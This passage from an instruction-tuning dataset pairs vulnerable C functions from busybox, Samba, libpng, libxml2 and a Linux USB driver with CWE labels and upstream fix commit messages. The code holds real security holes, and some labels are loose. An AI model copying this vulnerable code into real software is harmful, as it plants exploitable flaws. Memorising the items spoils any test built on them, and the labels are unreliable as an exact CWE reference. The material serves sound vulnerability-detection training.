*/\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tj = (w + j > eob_len && w < eob_len) ? eob_len - w : j;\t/* make EOB code end at table */\n\t\t\t\tz = 1 << j;\t/* table entries for j-bit table */\n\t\t\t\tws[htl+1] = w + j;\t/* set bits decoded in stack */\n\n\t\t\t\t/* allocate and link in new table */\n\t\t\t\tq = xzalloc((z + 1) * sizeof(huft_t));\n\t\t\t\t*t = q + 1;\t/* link to list for huft_free() */\n\t\t\t\tt = &(q->v.t);\n\t\t\t\tu[htl] = ++q;\t/* table starts after link */\n\n\t\t\t\t/* connect to last table, if there is one */\n\t\t\t\tif (htl) {\n\t\t\t\t\tx[htl] = i; /* save pattern for backing up */\n\t\t\t\t\tr.b = (unsigned char) (w - ws[htl - 1]); /* bits to dump before this table */\n\t\t\t\t\tr.e = (unsigned char) (16 + j); /* bits in this table */\n\t\t\t\t\tr.v.t = q; /* pointer to this table */\n\t\t\t\t\tj = (i & ((1 << w) - 1)) >> ws[htl - 1];\n\t\t\t\t\tu[htl - 1][j] = r; /* connect to last table */\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/* set up table entry in r */\n\t\t\tr.b = (unsigned char) (k - w);\n\t\t\tif (p >= v + n) {\n\t\t\t\tr.e = 99; /* out of values--invalid code */\n\t\t\t} else if (*p < s) {\n\t\t\t\tr.e = (unsigned char) (*p < 256 ? 16 : 15);\t/* 256 is EOB code */\n\t\t\t\tr.v.n = (unsigned short) (*p++); /* simple code is just the value */\n\t\t\t} else {\n\t\t\t\tr.e = (unsigned char) e[*p - s]; /* non-simple--look up in lists */\n\t\t\t\tr.v.n = d[*p++ - s];\n\t\t\t}\n\n\t\t\t/* fill code-like entries with r */\n\t\t\tf = 1 << (k - w);\n\t\t\tfor (j = i >> w; j < z; j += f) {\n\t\t\t\tq[j] = r;\n\t\t\t}\n\n\t\t\t/* backwards increment the k-bit code i */\n\t\t\tfor (j = 1 << (k - 1); i & j; j >>= 1) {\n\t\t\t\ti ^= j;\n\t\t\t}\n\t\t\ti ^= j;\n\n\t\t\t/* backup over finished tables */\n\t\t\twhile ((i & ((1 << w) - 1)) != x[htl]) {\n\t\t\t\tw = ws[--htl];\n\t\t\t}\n\t\t}\n\t}\n\n\t/* return actual size of base table */\n\t*m = ws[1];\n\n\t/* Return 1 if we were given an incomplete table */\n\treturn y != 0 && g != 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'unzip: test for bad archive SEGVing\n\nfunction old new delta\nhuft_build 1296 1300 +4\n\nSigned-off-by: Denys Vlasenko '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: _PUBLIC_ size_t strlen_m_ext_handle(struct smb_iconv_handle *ic,\n\t\t\t\t const char *s, charset_t src_charset, charset_t dst_charset)\n{\n\tsize_t count = 0;\n\n#ifdef DEVELOPER\n\tswitch (dst_charset) {\n\tcase CH_DOS:\n\tcase CH_UNIX:\n\t\tsmb_panic(\"cannot call strlen_m_ext() with a variable dest charset (must be UTF16* or UTF8)\");\n\tdefault:\n\t\tbreak;\n\t}\n\n\tswitch (src_charset) {\n\tcase CH_UTF16LE:\n\tcase CH_UTF16BE:\n\t\tsmb_panic(\"cannot call strlen_m_ext() with a UTF16 src charset (must be DOS, UNIX, DISPLAY or UTF8)\");\n\tdefault:\n\t\tbreak;\n\t}\n#endif\n\tif (!s) {\n\t\treturn 0;\n\t}\n\n\twhile (*s && !(((uint8_t)*s) & 0x80)) {\n\t\ts++;\n\t\tcount++;\n\t}\n\n\tif (!*s) {\n\t\treturn count;\n\t}\n\n\twhile (*s) {\n\t\tsize_t c_size;\n\t\tcodepoint_t c = next_codepoint_handle_ext(ic, s, src_charset, &c_size);\n\t\ts += c_size;\n\n\t\tswitch (dst_charset) {\n\t\tcase CH_UTF16LE:\n\t\tcase CH_UTF16BE:\n\t\tcase CH_UTF16MUNGED:\n\t\t\tif (c < 0x10000) {\n\t\t\t\t/* Unicode char fits into 16 bits. */\n\t\t\t\tcount += 1;\n\t\t\t} else {\n\t\t\t\t/* Double-width unicode char - 32 bits. */\n\t\t\t\tcount += 2;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase CH_UTF8:\n\t\t\t/*\n\t\t\t * this only checks ranges, and does not\n\t\t\t * check for invalid codepoints\n\t\t\t */\n\t\t\tif (c < 0x80) {\n\t\t\t\tcount += 1;\n\t\t\t} else if (c < 0x800) {\n\t\t\t\tcount += 2;\n\t\t\t} else if (c < 0x10000) {\n\t\t\t\tcount += 3;\n\t\t\t} else {\n\t\t\t\tcount += 4;\n\t\t\t}\n\t\t\tbreak;\n\t\tdefault:\n\t\t\t/*\n\t\t\t * non-unicode encoding:\n\t\t\t * assume that each codepoint fits into\n\t\t\t * one unit in the destination encoding.\n\t\t\t */\n\t\t\tcount += 1;\n\t\t}\n\t}\n\n\treturn count;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'CVE-2015-5330: Fix handling of unicode near string endings\n\nUntil now next_codepoint_ext() and next_codepoint_handle_ext() were\nusing strnlen(str, 5) to determine how much string they should try to\ndecode. This ended up looking past the end of the string when it was not\nnull terminated and the final character looked like a multi-byte encoding.\nThe fix is to let the caller say how long the string can be.\n\nBug: https://bugzilla.samba.org/show_bug.cgi?id=11599\n\nSigned-off-by: Douglas Bagnall \nPair-programmed-with: Andrew Bartlett \nReviewed-by: Ralph Boehme '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: png_set_PLTE(png_structrp png_ptr, png_inforp info_ptr,\n png_const_colorp palette, int num_palette)\n{\n\n png_debug1(1, \"in %s storage function\", \"PLTE\");\n\n if (png_ptr == NULL || info_ptr == NULL)\n return;\n\n if (num_palette < 0 || num_palette > PNG_MAX_PALETTE_LENGTH)\n {\n if (info_ptr->color_type == PNG_COLOR_TYPE_PALETTE)\n png_error(png_ptr, \"Invalid palette length\");\n\n else\n {\n png_warning(png_ptr, \"Invalid palette length\");\n\n return;\n }\n }\n\n if ((num_palette > 0 && palette == NULL) ||\n (num_palette == 0\n# ifdef PNG_MNG_FEATURES_SUPPORTED\n && (png_ptr->mng_features_permitted & PNG_FLAG_MNG_EMPTY_PLTE) == 0\n# endif\n ))\n {\n png_error(png_ptr, \"Invalid palette\");\n }\n\n /* It may not actually be necessary to set png_ptr->palette here;\n * we do it for backward compatibility with the way the png_handle_tRNS\n * function used to do the allocation.\n *\n * 1.6.0: the above statement appears to be incorrect; something has to set\n * the palette inside png_struct on read.\n */\n png_free_data(png_ptr, info_ptr, PNG_FREE_PLTE, 0);\n\n /* Changed in libpng-1.2.1 to allocate PNG_MAX_PALETTE_LENGTH instead\n * of num_palette entries, in case of an invalid PNG file that has\n * too-large sample values.\n */\n png_ptr->palette = png_voidcast(png_colorp, png_calloc(png_ptr,\n PNG_MAX_PALETTE_LENGTH * (sizeof (png_color))));\n\n if (num_palette > 0)\n memcpy(png_ptr->palette, palette, num_palette * (sizeof (png_color)));\n info_ptr->palette = png_ptr->palette;\n info_ptr->num_palette = png_ptr->num_palette = (png_uint_16)num_palette;\n\n info_ptr->free_me |= PNG_FREE_PLTE;\n\n info_ptr->valid |= PNG_INFO_PLTE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120'], 'message': '[libpng16] Prevent reading over-length PLTE chunk (Cosmin Truta).'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void xmlGROW (xmlParserCtxtPtr ctxt) {\n unsigned long curEnd = ctxt->input->end - ctxt->input->cur;\n unsigned long curBase = ctxt->input->cur - ctxt->input->base;\n\n if (((curEnd > (unsigned long) XML_MAX_LOOKUP_LIMIT) ||\n (curBase > (unsigned long) XML_MAX_LOOKUP_LIMIT)) &&\n ((ctxt->input->buf) && (ctxt->input->buf->readcallback != (xmlInputReadCallback) xmlNop)) &&\n ((ctxt->options & XML_PARSE_HUGE) == 0)) {\n xmlFatalErr(ctxt, XML_ERR_INTERNAL_ERROR, \"Huge input lookup\");\n ctxt->instate = XML_PARSER_EOF;\n }\n xmlParserInputGrow(ctxt->input, INPUT_CHUNK);\n if ((ctxt->input->cur != NULL) && (*ctxt->input->cur == 0) &&\n (xmlParserInputGrow(ctxt->input, INPUT_CHUNK) <= 0))\n\t xmlPopInput(ctxt);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Detect incoherency on GROW\n\nthe current pointer to the input has to be between the base and end\nif not stop everything we have an internal state error.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: aiptek_probe(struct usb_interface *intf, const struct usb_device_id *id)\n{\n\tstruct usb_device *usbdev = interface_to_usbdev(intf);\n\tstruct usb_endpoint_descriptor *endpoint;\n\tstruct aiptek *aiptek;\n\tstruct input_dev *inputdev;\n\tint i;\n\tint speeds[] = { 0,\n\t\tAIPTEK_PROGRAMMABLE_DELAY_50,\n\t\tAIPTEK_PROGRAMMABLE_DELAY_400,\n\t\tAIPTEK_PROGRAMMABLE_DELAY_25,\n\t\tAIPTEK_PROGRAMMABLE_DELAY_100,\n\t\tAIPTEK_PROGRAMMABLE_DELAY_200,\n\t\tAIPTEK_PROGRAMMABLE_DELAY_300\n\t};\n\tint err = -ENOMEM;\n\n\t/* programmableDelay is where the command-line specified\n\t * delay is kept. We make it the first element of speeds[],\n\t * so therefore, your override speed is tried first, then the\n\t * remainder. Note that the default value of 400ms will be tried\n\t * if you do not specify any command line parameter.\n\t */\n\tspeeds[0] = programmableDelay;\n\n\taiptek = kzalloc(sizeof(struct aiptek), GFP_KERNEL);\n\tinputdev = input_allocate_device();\n\tif (!aiptek || !inputdev) {\n\t\tdev_warn(&intf->dev,\n\t\t\t \"cannot allocate memory or input device\\n\");\n\t\tgoto fail1;\n }\n\n\taiptek->data = usb_alloc_coherent(usbdev, AIPTEK_PACKET_LENGTH,\n\t\t\t\t\t GFP_ATOMIC, &aiptek->data_dma);\n if (!aiptek->data) {\n\t\tdev_warn(&intf->dev, \"cannot allocate usb buffer\\n\");\n\t\tgoto fail1;\n\t}\n\n\taiptek->urb = usb_alloc_urb(0, GFP_KERNEL);\n\tif (!aiptek->urb) {\n\t dev_warn(&intf->dev, \"cannot allocate urb\\n\");\n\t\tgoto fail2;\n\t}\n\n\taiptek->inputdev = inputdev;\n\taiptek->usbdev = usbdev;\n\taiptek->intf = intf;\n\taiptek->ifnum = intf->altsetting[0].desc.bInterfaceNumber;\n\taiptek->inDelay = 0;\n\taiptek->endDelay = 0;\n\taiptek->previousJitterable = 0;\n\taiptek->lastMacro = -1;\n\n\t/* Set up the curSettings struct. Said struct contains the current\n\t * programmable parameters. The newSetting struct contains changes\n\t * the user makes to the settings via the sysfs interface. Those\n\t * changes are not \"committed\" to curSettings until the user\n\t * writes to the sysfs/.../execute file.\n\t */\n\taiptek->curSetting.pointerMode = AIPTEK_POINTER_EITHER_MODE;\n\taiptek->curSetting.coordinateMode = AIPTEK_COORDINATE_ABSOLUTE_MODE;\n\taiptek->curSetting.toolMode = AIPTEK_TOOL_BUTTON_PEN_MODE;\n\taiptek->curSetting.xTilt = AIPTEK_TILT_DISABLE;\n\taiptek->curSetting.yTilt = AIPTEK_TILT_DISABLE;\n\taiptek->curSetting.mouseButtonLeft = AIPTEK_MOUSE_LEFT_BUTTON;\n\taiptek->curSetting.mouseButtonMiddle = AIPTEK_MOUSE_MIDDLE_BUTTON;\n\taiptek->curSetting.mouseButtonRight = AIPTEK_MOUSE_RIGHT_BUTTON;\n\taiptek->curSetting.stylusButtonUpper = AIPTEK_STYLUS_UPPER_BUTTON;\n\taiptek->curSetting.stylusButtonLower = AIPTEK_STYLUS_LOWER_BUTTON;\n\taiptek->curSetting.jitterDelay = jitterDelay;\n\taiptek->curSetting.programmableDelay = programmableDelay;\n\n\t/* Both structs should have equivalent settings\n\t */\n\taiptek->newSetting = aiptek->curSetting;\n\n\t/* Determine the usb devices' physical path.\n\t * Asketh not why we always pretend we're using \"../input0\",\n\t * but I suspect this will have to be refactored one\n\t * day if a single USB device can be a keyboard & a mouse\n\t * & a tablet, and the inputX number actually will tell\n\t * us something...\n\t */\n\tusb_make_path(usbdev, aiptek->features.usbPath,\n\t\t\tsizeof(aiptek->features.usbPath));\n\tstrlcat(aiptek->features.usbPath, \"/input0\",\n\t\tsizeof(aiptek->features.usbPath));\n\n\t/* Set up client data, pointers to open and close routines\n\t * for the input device.\n\t */\n\tinputdev->name = \"Aiptek\";\n\tinputdev->phys = aiptek->features.usbPath;\n\tusb_to_input_id(usbdev, &inputdev->id);\n\tinputdev->dev.parent = &intf->dev;\n\n\tinput_set_drvdata(inputdev, aiptek);\n\n\tinputdev->open = aiptek_open;\n\tinputdev->close = aiptek_close;\n\n\t/* Now program the capacities of the tablet, in terms of being\n\t * an input device.\n\t */\n\tfor (i = 0; i < ARRAY_SIZE(eventTypes); ++i)\n\t __set_bit(eventTypes[i], inputdev->evbit);\n\n\tfor (i = 0; i < ARRAY_SIZE(absEvents); ++i)\n\t __set_bit(absEvents[i], inputdev->absbit);\n\n\tfor (i = 0; i < ARRAY_SIZE(relEvents); ++i)\n\t __set_bit(relEvents[i], inputdev->relbit);\n\n\t__set_bit(MSC_SERIAL, inputdev->mscbit);\n\n\t/* Set up key and button codes */\n\tfor (i = 0; i < ARRAY_SIZE(buttonEvents); ++i)\n\t\t__set_bit(buttonEvents[i], inputdev->keybit);\n\n\tfor (i = 0; i < ARRAY_SIZE(macroKeyEvents); ++i)\n\t\t__set_bit(macroKeyEvents[i], inputdev->keybit);\n\n\t/*\n\t * Program the input device coordinate capacities. We do not yet\n\t * know what maximum X, Y, and Z values are, so we're putting fake\n\t * values in. Later, we'll ask the tablet to put in the correct\n\t * values.\n\t */\n\tinput_set_abs_params(inputdev, ABS_X, 0, 2999, 0, 0);\n\tinput_set_abs_params(inputdev, ABS_Y, 0, 2249, 0, 0);\n\tinput_set_abs_params(inputdev, ABS_PRESSURE, 0, 511, 0, 0);\n\tinput_set_abs_params(inputdev, ABS_TILT_X, AIPTEK_TILT_MIN, AIPTEK_TILT_MAX, 0, 0);\n\tinput_set_abs_params(inputdev, ABS_TILT_Y, AIPTEK_TILT_MIN, AIPTEK_TILT_MAX, 0, 0);\n\tinput_set_abs_params(inputdev, ABS_WHEEL, AIPTEK_WHEEL_MIN, AIPTEK_WHEEL_MAX - 1, 0, 0);\n\n\tendpoint = &intf->altsetting[0].endpoint[0].desc;\n\n\t/* Go set up our URB, which is called when the tablet receives\n\t * input.\n\t */\n\tusb_fill_int_urb(aiptek->urb,\n\t\t\t aiptek->usbdev,\n\t\t\t usb_rcvintpipe(aiptek->usbdev,\n\t\t\t\t\tendpoint->bEndpointAddress),\n\t\t\t aiptek->data, 8, aiptek_irq, aiptek,\n\t\t\t endpoint->bInterval);\n\n\taiptek->urb->transfer_dma = aiptek->data_dma;\n\taiptek->urb->transfer_flags |= URB_NO_TRANSFER_DMA_MAP;\n\n\t/* Program the tablet. This sets the tablet up in the mode\n\t * specified in newSetting, and also queries the tablet's\n\t * physical capacities.\n\t *\n\t * Sanity check: if a tablet doesn't like the slow programmatic\n\t * delay, we often get sizes of 0x0. Let's use that as an indicator\n\t * to try faster delays, up to 25 ms. If that logic fails, well, you'll\n\t * have to explain to us how your tablet thinks it's 0x0, and yet that's\n\t * not an error :-)\n\t */\n\n\tfor (i = 0; i < ARRAY_SIZE(speeds); ++i) {\n\t\taiptek->curSetting.programmableDelay = speeds[i];\n\t\t(void)aiptek_program_tablet(aiptek);\n\t\tif (input_abs_get_max(aiptek->inputdev, ABS_X) > 0) {\n\t\t\tdev_info(&intf->dev,\n\t\t\t\t \"Aiptek using %d ms programming speed\\n\",\n\t\t\t\t aiptek->curSetting.programmableDelay);\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t/* Murphy says that some day someone will have a tablet that fails the\n\t above test. That's you, Frederic Rodrigo */\n\tif (i == ARRAY_SIZE(speeds)) {\n\t\tdev_info(&intf->dev,\n\t\t\t \"Aiptek tried all speeds, no sane response\\n\");\n\t\tgoto fail3;\n\t}\n\n\t/* Associate this driver's struct with the usb interface.\n\t */\n\tusb_set_intfdata(intf, aiptek);\n\n\t/* Set up the sysfs files\n\t */\n\terr = sysfs_create_group(&intf->dev.kobj, &aiptek_attribute_group);\n\tif (err) {\n\t\tdev_warn(&intf->dev, \"cannot create sysfs group err: %d\\n\",\n\t\t\t err);\n\t\tgoto fail3;\n }\n\n\t/* Register the tablet as an Input Device\n\t */\n\terr = input_register_device(aiptek->inputdev);\n\tif (err) {\n\t\tdev_warn(&intf->dev,\n\t\t\t \"input_register_device returned err: %d\\n\", err);\n\t\tgoto fail4;\n }\n\treturn 0;\n\n fail4:\tsysfs_remove_group(&intf->dev.kobj, &aiptek_attribute_group);\n fail3: usb_free_urb(aiptek->urb);\n fail2:\tusb_free_coherent(usbdev, AIPTEK_PACKET_LENGTH, aiptek->data,\n\t\t\t aiptek->data_dma);\n fail1: usb_set_intfdata(intf, NULL);\n\tinput_free_device(inputdev);\n\tkfree(aiptek);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476', 'CWE-401'], 'message': 'Input: aiptek - fix crash on detecting device without endpoints\n\nThe aiptek driver crashes in aiptek_probe() when a specially crafted USB\ndevice without endpoints is detected. This fix adds a check that the device\nhas proper configuration expected by the driver. Also an error return value\nis changed to more matching one in one of the error paths.\n\nReported-by: Ralf Spenneberg \nSigned-off-by: Vladis Dronov \nSigned-off-by: Dmitry Torokhov '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: _PUBLIC_ NTSTATUS ldap_decode(struct asn1_data *data,\n\t\t\t const struct ldap_control_handler *control_handlers,\n\t\t\t struct ldap_message *msg)\n{\n\tuint8_t tag;\n\n\tasn1_start_tag(data, ASN1_SEQUENCE(0));\n\tasn1_read_Integer(data, &msg->messageid);\n\n\tif (!asn1_peek_uint8(data, &tag))\n\t\treturn NT_STATUS_LDAP(LDAP_PROTOCOL_ERROR);\n\n\tswitch(tag) {\n\n\tcase ASN1_APPLICATION(LDAP_TAG_BindRequest): {\n\t\tstruct ldap_BindRequest *r = &msg->r.BindRequest;\n\t\tmsg->type = LDAP_TAG_BindRequest;\n\t\tasn1_start_tag(data, tag);\n\t\tasn1_read_Integer(data, &r->version);\n\t\tasn1_read_OctetString_talloc(msg, data, &r->dn);\n\t\tif (asn1_peek_tag(data, ASN1_CONTEXT_SIMPLE(0))) {\n\t\t\tint pwlen;\n\t\t\tr->creds.password = \"\";\n\t\t\tr->mechanism = LDAP_AUTH_MECH_SIMPLE;\n\t\t\tasn1_start_tag(data, ASN1_CONTEXT_SIMPLE(0));\n\t\t\tpwlen = asn1_tag_remaining(data);\n\t\t\tif (pwlen == -1) {\n\t\t\t\treturn NT_STATUS_LDAP(LDAP_PROTOCOL_ERROR);\n\t\t\t}\n\t\t\tif (pwlen != 0) {\n\t\t\t\tchar *pw = talloc_array(msg, char, pwlen+1);\n\t\t\t\tif (!pw) {\n\t\t\t\t\treturn NT_STATUS_LDAP(LDAP_OPERATIONS_ERROR);\n\t\t\t\t}\n\t\t\t\tasn1_read(data, pw, pwlen);\n\t\t\t\tpw[pwlen] = '\\0';\n\t\t\t\tr->creds.password = pw;\n\t\t\t}\n\t\t\tasn1_end_tag(data);\n\t\t} else if (asn1_peek_tag(data, ASN1_CONTEXT(3))){\n\t\t\tasn1_start_tag(data, ASN1_CONTEXT(3));\n\t\t\tr->mechanism = LDAP_AUTH_MECH_SASL;\n\t\t\tasn1_read_OctetString_talloc(msg, data, &r->creds.SASL.mechanism);\n\t\t\tif (asn1_peek_tag(data, ASN1_OCTET_STRING)) { /* optional */\n\t\t\t\tDATA_BLOB tmp_blob = data_blob(NULL, 0);\n\t\t\t\tasn1_read_OctetString(data, msg, &tmp_blob);\n\t\t\t\tr->creds.SASL.secblob = talloc(msg, DATA_BLOB);\n\t\t\t\tif (!r->creds.SASL.secblob) {\n\t\t\t\t\treturn NT_STATUS_LDAP(LDAP_OPERATIONS_ERROR);\n\t\t\t\t}\n\t\t\t\t*r->creds.SASL.secblob = data_blob_talloc(r->creds.SASL.secblob,\n\t\t\t\t\t\t\t\t\t tmp_blob.data, tmp_blob.length);\n\t\t\t\tdata_blob_free(&tmp_blob);\n\t\t\t} else {\n\t\t\t\tr->creds.SASL.secblob = NULL;\n\t\t\t}\n\t\t\tasn1_end_tag(data);\n\t\t} else {\n\t\t\t/* Neither Simple nor SASL bind */\n\t\t\treturn NT_STATUS_LDAP(LDAP_PROTOCOL_ERROR);\n\t\t}\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_BindResponse): {\n\t\tstruct ldap_BindResponse *r = &msg->r.BindResponse;\n\t\tmsg->type = LDAP_TAG_BindResponse;\n\t\tasn1_start_tag(data, tag);\n\t\tldap_decode_response(msg, data, &r->response);\n\t\tif (asn1_peek_tag(data, ASN1_CONTEXT_SIMPLE(7))) {\n\t\t\tDATA_BLOB tmp_blob = data_blob(NULL, 0);\n\t\t\tasn1_read_ContextSimple(data, 7, &tmp_blob);\n\t\t\tr->SASL.secblob = talloc(msg, DATA_BLOB);\n\t\t\tif (!r->SASL.secblob) {\n\t\t\t\treturn NT_STATUS_LDAP(LDAP_OPERATIONS_ERROR);\n\t\t\t}\n\t\t\t*r->SASL.secblob = data_blob_talloc(r->SASL.secblob,\n\t\t\t\t\t\t\t tmp_blob.data, tmp_blob.length);\n\t\t\tdata_blob_free(&tmp_blob);\n\t\t} else {\n\t\t\tr->SASL.secblob = NULL;\n\t\t}\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION_SIMPLE(LDAP_TAG_UnbindRequest): {\n\t\tmsg->type = LDAP_TAG_UnbindRequest;\n\t\tasn1_start_tag(data, tag);\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_SearchRequest): {\n\t\tstruct ldap_SearchRequest *r = &msg->r.SearchRequest;\n\t\tint sizelimit, timelimit;\n\t\tconst char **attrs = NULL;\n\t\tmsg->type = LDAP_TAG_SearchRequest;\n\t\tasn1_start_tag(data, tag);\n\t\tasn1_read_OctetString_talloc(msg, data, &r->basedn);\n\t\tasn1_read_enumerated(data, (int *)(void *)&(r->scope));\n\t\tasn1_read_enumerated(data, (int *)(void *)&(r->deref));\n\t\tasn1_read_Integer(data, &sizelimit);\n\t\tr->sizelimit = sizelimit;\n\t\tasn1_read_Integer(data, &timelimit);\n\t\tr->timelimit = timelimit;\n\t\tasn1_read_BOOLEAN(data, &r->attributesonly);\n\n\t\tr->tree = ldap_decode_filter_tree(msg, data);\n\t\tif (r->tree == NULL) {\n\t\t\treturn NT_STATUS_LDAP(LDAP_PROTOCOL_ERROR);\n\t\t}\n\n\t\tasn1_start_tag(data, ASN1_SEQUENCE(0));\n\n\t\tr->num_attributes = 0;\n\t\tr->attributes = NULL;\n\n\t\twhile (asn1_tag_remaining(data) > 0) {\t\t\t\t\t\n\n\t\t\tconst char *attr;\n\t\t\tif (!asn1_read_OctetString_talloc(msg, data,\n\t\t\t\t\t\t\t &attr))\n\t\t\t\treturn NT_STATUS_LDAP(LDAP_PROTOCOL_ERROR);\n\t\t\tif (!add_string_to_array(msg, attr,\n\t\t\t\t\t\t &attrs,\n\t\t\t\t\t\t &r->num_attributes))\n\t\t\t\treturn NT_STATUS_LDAP(LDAP_PROTOCOL_ERROR);\n\t\t}\n\t\tr->attributes = attrs;\n\n\t\tasn1_end_tag(data);\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_SearchResultEntry): {\n\t\tstruct ldap_SearchResEntry *r = &msg->r.SearchResultEntry;\n\t\tmsg->type = LDAP_TAG_SearchResultEntry;\n\t\tr->attributes = NULL;\n\t\tr->num_attributes = 0;\n\t\tasn1_start_tag(data, tag);\n\t\tasn1_read_OctetString_talloc(msg, data, &r->dn);\n\t\tldap_decode_attribs(msg, data, &r->attributes,\n\t\t\t\t &r->num_attributes);\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_SearchResultDone): {\n\t\tstruct ldap_Result *r = &msg->r.SearchResultDone;\n\t\tmsg->type = LDAP_TAG_SearchResultDone;\n\t\tasn1_start_tag(data, tag);\n\t\tldap_decode_response(msg, data, r);\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_SearchResultReference): {\n\t\tstruct ldap_SearchResRef *r = &msg->r.SearchResultReference;\n\t\tmsg->type = LDAP_TAG_SearchResultReference;\n\t\tasn1_start_tag(data, tag);\n\t\tasn1_read_OctetString_talloc(msg, data, &r->referral);\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_ModifyRequest): {\n\t\tstruct ldap_ModifyRequest *r = &msg->r.ModifyRequest;\n\t\tmsg->type = LDAP_TAG_ModifyRequest;\n\t\tasn1_start_tag(data, ASN1_APPLICATION(LDAP_TAG_ModifyRequest));\n\t\tasn1_read_OctetString_talloc(msg, data, &r->dn);\n\t\tasn1_start_tag(data, ASN1_SEQUENCE(0));\n\n\t\tr->num_mods = 0;\n\t\tr->mods = NULL;\n\n\t\twhile (asn1_tag_remaining(data) > 0) {\n\t\t\tstruct ldap_mod mod;\n\t\t\tint v;\n\t\t\tZERO_STRUCT(mod);\n\t\t\tasn1_start_tag(data, ASN1_SEQUENCE(0));\n\t\t\tasn1_read_enumerated(data, &v);\n\t\t\tmod.type = v;\n\t\t\tldap_decode_attrib(msg, data, &mod.attrib);\n\t\t\tasn1_end_tag(data);\n\t\t\tif (!add_mod_to_array_talloc(msg, &mod,\n\t\t\t\t\t\t &r->mods, &r->num_mods)) {\n\t\t\t\treturn NT_STATUS_LDAP(LDAP_OPERATIONS_ERROR);\n\t\t\t}\n\t\t}\n\n\t\tasn1_end_tag(data);\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_ModifyResponse): {\n\t\tstruct ldap_Result *r = &msg->r.ModifyResponse;\n\t\tmsg->type = LDAP_TAG_ModifyResponse;\n\t\tasn1_start_tag(data, tag);\n\t\tldap_decode_response(msg, data, r);\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_AddRequest): {\n\t\tstruct ldap_AddRequest *r = &msg->r.AddRequest;\n\t\tmsg->type = LDAP_TAG_AddRequest;\n\t\tasn1_start_tag(data, tag);\n\t\tasn1_read_OctetString_talloc(msg, data, &r->dn);\n\n\t\tr->attributes = NULL;\n\t\tr->num_attributes = 0;\n\t\tldap_decode_attribs(msg, data, &r->attributes,\n\t\t\t\t &r->num_attributes);\n\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_AddResponse): {\n\t\tstruct ldap_Result *r = &msg->r.AddResponse;\n\t\tmsg->type = LDAP_TAG_AddResponse;\n\t\tasn1_start_tag(data, tag);\n\t\tldap_decode_response(msg, data, r);\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION_SIMPLE(LDAP_TAG_DelRequest): {\n\t\tstruct ldap_DelRequest *r = &msg->r.DelRequest;\n\t\tint len;\n\t\tchar *dn;\n\t\tmsg->type = LDAP_TAG_DelRequest;\n\t\tasn1_start_tag(data,\n\t\t\t ASN1_APPLICATION_SIMPLE(LDAP_TAG_DelRequest));\n\t\tlen = asn1_tag_remaining(data);\n\t\tif (len == -1) {\n\t\t\treturn NT_STATUS_LDAP(LDAP_PROTOCOL_ERROR);\n\t\t}\n\t\tdn = talloc_array(msg, char, len+1);\n\t\tif (dn == NULL)\n\t\t\tbreak;\n\t\tasn1_read(data, dn, len);\n\t\tdn[len] = '\\0';\n\t\tr->dn = dn;\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_DelResponse): {\n\t\tstruct ldap_Result *r = &msg->r.DelResponse;\n\t\tmsg->type = LDAP_TAG_DelResponse;\n\t\tasn1_start_tag(data, tag);\n\t\tldap_decode_response(msg, data, r);\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_ModifyDNRequest): {\n\t\tstruct ldap_ModifyDNRequest *r = &msg->r.ModifyDNRequest;\n\t\tmsg->type = LDAP_TAG_ModifyDNRequest;\n\t\tasn1_start_tag(data,\n\t\t\t 